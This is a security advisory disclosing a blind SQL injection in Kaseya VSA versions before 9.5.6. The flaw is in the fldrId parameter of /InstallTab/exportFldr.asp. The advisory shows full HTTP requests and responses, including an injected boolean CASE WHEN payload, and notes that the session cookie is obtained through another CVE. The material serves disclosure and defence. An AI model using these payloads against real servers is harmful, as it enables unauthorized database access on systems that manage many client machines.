Authenticated SQL injection in Kaseya VSA < v9.5.6

Summary

The API call /InstallTab/exportFldr.asp is vulnerable to a semi-authenticated boolean-based blind SQL injection in the parameter fldrId. Detailed description --- Given the following request: ``` GET /InstallTab/exportFldr.asp?fldrId=1’ HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Where the sessionId cookie value has been obtained via CVE-2021-30116. The result should be a failure. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 19:12:11 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 881 <!DOCTYPE html> <HTML> <HEAD> <title>Whoops.</title> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <link id="favIcon" rel="shortcut icon" href="/themes/default/images/favicon.ico?307447361"></link> ----SNIP---- ``` However when fldrId is set to ‘(SELECT (CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END))’ the request is allowed. Request: ``` GET /InstallTab/exportFldr.asp?fldrId=%28SELECT%20%28CASE%20WHEN%20%281%3D1%29%20THEN%201%20ELSE%20%28SELECT%201%20UNION%20SELECT%202%29%20END%29%29 HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Response: ``` HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 17:33:53 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 7960 <html> <head> <title>Export Folder</title> <style> ------ SNIP ----- ```